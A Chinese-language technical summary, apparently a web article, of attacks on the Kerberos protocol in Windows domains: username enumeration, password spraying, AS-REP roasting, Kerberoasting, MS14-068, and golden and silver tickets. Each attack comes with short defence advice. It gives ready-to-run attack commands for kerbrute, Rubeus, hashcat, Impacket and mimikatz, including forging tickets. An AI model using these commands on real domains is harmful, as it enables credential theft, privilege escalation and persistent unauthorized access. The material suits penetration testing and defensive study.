Kerberos协议攻击面总结(一)
字数 1550 2025-08-22 12:23:06

Kerberos协议攻击面总结(一) 技术文档


目录

  1. 用户名枚举
  2. Password Spraying
  3. AS-REP Roasting
  4. CVE-2022-33679
  5. Kerberos Roasting
  6. 无预身份认证的Kerberos Roasting
  7. Targeted Kerberoasting
  8. MS14-068 & CVE-2014-6324
  9. 黄金票据
  10. 白银票据

1. 用户名枚举

原理
通过Kerberos协议的KDC(密钥分发中心)返回的错误码差异(如KRB5KDC_ERR_PREAUTH_REQUIREDKRB5KDC_ERR_C_PRINCIPAL_UNKNOWN)区分有效与无效用户。
工具

  • kerbrute./kerbrute userenum --dc <域控IP> -d <域名> userlist.txt
    防御
    禁用错误码差异或启用账户锁定策略。

2. Password Spraying(密码喷洒)

原理
对多个用户尝试少量通用密码(如Password123),避免触发账户锁定。
步骤

  1. 收集用户名列表(如LDAP查询)。
  2. 使用kerbruteRubeus喷洒密码:
    ./kerbrute passwordspray -d <域名> userlist.txt <密码>
    

防御
启用多因素认证(MFA)和复杂密码策略。


3. AS-REP Roasting

前提
目标用户未启用预身份认证(DONT_REQ_PREAUTH属性)。
攻击流程

  1. 枚举此类用户:
    Get-DomainUser -PreauthNotRequired | Select-Object samaccountname
    
  2. 请求AS-REP响应并提取加密的TGT:
    Rubeus.exe asreproast /user:<用户名> /nowrap
    
  3. 离线破解(如hashcat -m 18200 hash.txt rockyou.txt)。
    防御
    对所有用户启用预身份认证。

4. CVE-2022-33679(Kerberos EoP漏洞)

影响
Windows Kerberos客户端特权提升(需中间人位置)。
利用条件

  • 攻击者需伪造KDC响应。
  • 修补前需禁用RC4加密(补丁KB5016693)。

5. Kerberos Roasting

原理
通过服务账号的TGS请求获取加密的ST(服务票据),离线破解服务密码。
工具

  • Rubeus
    Rubeus.exe kerberoast /outfile:hashes.txt
    
  • Impacket
    GetUserSPNs.py -dc-ip <域控IP> <域名>/<用户>
    

防御
使用强服务账户密码(如随机128位)。


6. 无预身份认证的Kerberos Roasting

扩展场景
结合AS-REP Roasting与Kerberoasting,针对未启用预认证的服务账户。


7. Targeted Kerberoasting

原理
针对高权限服务账户(如域管理员关联的SPN)发起定向攻击。
步骤

  1. 查询高价值SPN:
    Get-DomainUser -SPN | Where-Object { $_.memberof -match "Domain Admins" }
    
  2. 请求其ST并破解。

8. MS14-068 & CVE-2014-6324(PAC漏洞)

原理
伪造PAC(特权属性证书)生成高权限TGT。
工具

  • PyKEK:生成伪造的TGT。
    修复
    安装MS14-068补丁并启用PAC签名验证。

9. 黄金票据(Golden Ticket)

前提
获取krbtgt账户的NTLM哈希。
生成

mimikatz.exe "kerberos::golden /user:fakeuser /domain:<域名> /sid:<域SID> /krbtgt:<哈希> /ptt"

持久性
票据有效期默认10年(需定期更新krbtgt密码)。


10. 白银票据(Silver Ticket)

原理
伪造特定服务的ST(无需TGT),需服务账户密码哈希。
生成

mimikatz.exe "kerberos::golden /user:fakeuser /domain:<域名> /sid:<域SID> /target:<服务主机> /service:<服务类型> /rc4:<服务哈希> /ptt"

限制
仅对特定服务有效(如CIFSHTTP)。


防御总结

  • 通用措施:启用强预认证、禁用RC4、定期轮换密钥。
  • 检测:监控异常Kerberos请求(如大量AS-REQ失败)。
  • 权限控制:限制服务账户权限,启用LSA保护。

工具链

  • 攻击:Kerbrute, Rubeus, Mimikatz, Impacket.
  • 防御:Windows Event ID 4768/4769, Sysmon, ELK.

(完)

Kerberos协议攻击面总结(一) 技术文档 目录 用户名枚举 Password Spraying AS-REP Roasting CVE-2022-33679 Kerberos Roasting 无预身份认证的Kerberos Roasting Targeted Kerberoasting MS14-068 & CVE-2014-6324 黄金票据 白银票据 1. 用户名枚举 原理 通过Kerberos协议的KDC(密钥分发中心)返回的错误码差异(如 KRB5KDC_ERR_PREAUTH_REQUIRED 与 KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN )区分有效与无效用户。 工具 kerbrute : ./kerbrute userenum --dc <域控IP> -d <域名> userlist.txt 防御 禁用错误码差异或启用账户锁定策略。 2. Password Spraying(密码喷洒) 原理 对多个用户尝试少量通用密码(如 Password123 ),避免触发账户锁定。 步骤 收集用户名列表(如LDAP查询)。 使用 kerbrute 或 Rubeus 喷洒密码: 防御 启用多因素认证(MFA)和复杂密码策略。 3. AS-REP Roasting 前提 目标用户未启用预身份认证( DONT_REQ_PREAUTH 属性)。 攻击流程 枚举此类用户: 请求AS-REP响应并提取加密的TGT: 离线破解(如 hashcat -m 18200 hash.txt rockyou.txt )。 防御 对所有用户启用预身份认证。 4. CVE-2022-33679(Kerberos EoP漏洞) 影响 Windows Kerberos客户端特权提升(需中间人位置)。 利用条件 攻击者需伪造KDC响应。 修补前需禁用RC4加密(补丁KB5016693)。 5. Kerberos Roasting 原理 通过服务账号的TGS请求获取加密的ST(服务票据),离线破解服务密码。 工具 Rubeus : Impacket : 防御 使用强服务账户密码(如随机128位)。 6. 无预身份认证的Kerberos Roasting 扩展场景 结合AS-REP Roasting与Kerberoasting,针对未启用预认证的服务账户。 7. Targeted Kerberoasting 原理 针对高权限服务账户(如域管理员关联的SPN)发起定向攻击。 步骤 查询高价值SPN: 请求其ST并破解。 8. MS14-068 & CVE-2014-6324(PAC漏洞) 原理 伪造PAC(特权属性证书)生成高权限TGT。 工具 PyKEK :生成伪造的TGT。 修复 安装MS14-068补丁并启用PAC签名验证。 9. 黄金票据(Golden Ticket) 前提 获取 krbtgt 账户的NTLM哈希。 生成 持久性 票据有效期默认10年(需定期更新krbtgt密码)。 10. 白银票据(Silver Ticket) 原理 伪造特定服务的ST(无需TGT),需服务账户密码哈希。 生成 限制 仅对特定服务有效(如 CIFS 、 HTTP )。 防御总结 通用措施 :启用强预认证、禁用RC4、定期轮换密钥。 检测 :监控异常Kerberos请求(如大量AS-REQ失败)。 权限控制 :限制服务账户权限,启用LSA保护。 工具链 攻击:Kerbrute, Rubeus, Mimikatz, Impacket. 防御:Windows Event ID 4768/4769, Sysmon, ELK. (完)